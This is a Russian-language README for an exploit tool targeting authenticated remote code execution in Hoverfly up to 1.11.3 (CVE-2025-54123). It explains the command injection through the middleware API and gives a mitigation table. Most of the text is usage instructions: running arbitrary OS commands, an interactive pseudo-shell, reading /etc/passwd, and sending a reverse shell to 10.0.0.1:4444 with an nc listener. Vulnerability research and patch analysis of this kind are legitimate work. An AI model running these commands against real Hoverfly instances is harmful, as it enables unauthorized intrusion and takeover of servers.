
Эксплойт для аутентифицированного RCE в Hoverfly ≤ 1.11.3 (CVE-2025-54123) через внедрение команд ОС в API middleware. Поддерживает выполнение одной команды, интерактивный псевдо-шелл и обратный шелл для авторизованного тестирования безопасности.
Аутентифицированное RCE через внедрение команд ОС в Hoverfly ≤ 1.11.3
| Свойство | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-54123 |
| Оценка CVSS | 9.8 — Критическая |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (Внедрение команд ОС), CWE-20 (Некорректная проверка ввода) |
| Продукт | Hoverfly — инструмент симуляции API с открытым исходным кодом |
| Затронуто | Все версии до 1.11.3 включительно |
| Исправлено в | 1.12.0 (коммит исправления) |
| Уведомление | GHSA-r4h8-hfp2-ggmf |
Вот глубокий анализ кейса и технический анализ с точки зрения белого и черного ящиков https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly предоставляет RESTful admin API (порт по умолчанию 8888) для управления конфигурациями симуляции. Конечная точка управления промежуточным ПО по адресу /api/v2/hoverfly/middleware принимает JSON-тело с полями binary и script, которые определяют внешний процесс промежуточного ПО.
Уязвимость возникает из-за комбинации трех ошибок на уровне кода:
Недостаточная проверка ввода — middleware.go:93-96: Функция SetBinary() принимает параметр binary без какой-либо проверки или санитизации, что позволяет злоумышленнику указать произвольные исполняемые файлы (например, bash).
Небезопасное выполнение команд — local_middleware.go:14-19: Промежуточное ПО выполняется через exec.Command() с передачей контролируемых злоумышленником значений binary и script напрямую в качестве аргументов, что позволяет внедрять команды ОС.
Немедленное выполнение при тестировании — hoverfly_service.go:173: При установке промежуточного ПО через API Hoverfly сразу же тестирует его, выполняя его, что вызывает внедренную команду на этапе конфигурации, а не во время перехвата прокси.
Attacker Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Authenticate
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution
│ │ → attacker command runs as ││
│ │ the Hoverfly process user ││
│ └──────────────────────────────────┘│
│ │
│<── Command output in error response ──│ (4) Exfiltrate output
│ │
admin / настраиваемый пароль)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Проверьте доступность цели и аутентификацию без эксплуатации:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
Выполните одну команду ОС на цели:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
Войдите в постоянную сессию оболочки:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
Отправьте обратную оболочку на ваш слушатель:
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — launch exploit
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
Направьте трафик через Burp Suite для инспекции:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
Исправление в коммите 17e60a9 отключает API установки промежуточного ПО по умолчанию. Последующие изменения в документации (коммит a9d4da7) информируют пользователей о последствиях безопасности предоставления доступа к этой конечной точке.
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных исследовательских целей. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами по всему миру. Автор не несет ответственности за неправильное использование данного программного обеспечения. Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # Отшлифованный эксплойт
│ └── raw_exploit.py # Исходный черновой PoC
├── Images/ # Скриншоты исследования
├── Reference/ # Справочные эксплойты для изучения
├── requirements.txt # Зависимости Python
└── README.md # Этот файл
Phantom Hat — Исследователь безопасности
Это исследование было проведено в рамках кейс-стади уязвимости в образовательных целях.
| Флаг | Описание | По умолчанию |
|---|
-u, --url | URL цели Hoverfly | Обязательно |
-U, --username | Имя пользователя администратора | Обязательно |
-P, --password | Пароль администратора | Обязательно |
-c, --command | Команда ОС для выполнения | — |
-C, --check | Режим только проверки (без эксплуатации) | false |
-i, --interactive | Интерактивная псевдо-оболочка | false |
--revshell | Обратная оболочка LHOST:LPORT | — |
--proxy | Маршрутизация через 127.0.0.1:8080 | false |
--timeout | Таймаут запроса (секунды) | 15 |
-v, --verbose | Включить подробный вывод | false |
| Действие | Подробности |
|---|
| Обновление | Обновите Hoverfly до v1.12.0 или новее, где API установки промежуточного ПО отключен по умолчанию |
| Сегментация сети | Ограничьте доступ к admin API Hoverfly (порт 8888) только доверенными сетями |
| Аутентификация | Используйте надежные уникальные пароли для admin API Hoverfly |
| Мониторинг | Отслеживайте неожиданные запросы PUT к /api/v2/hoverfly/middleware |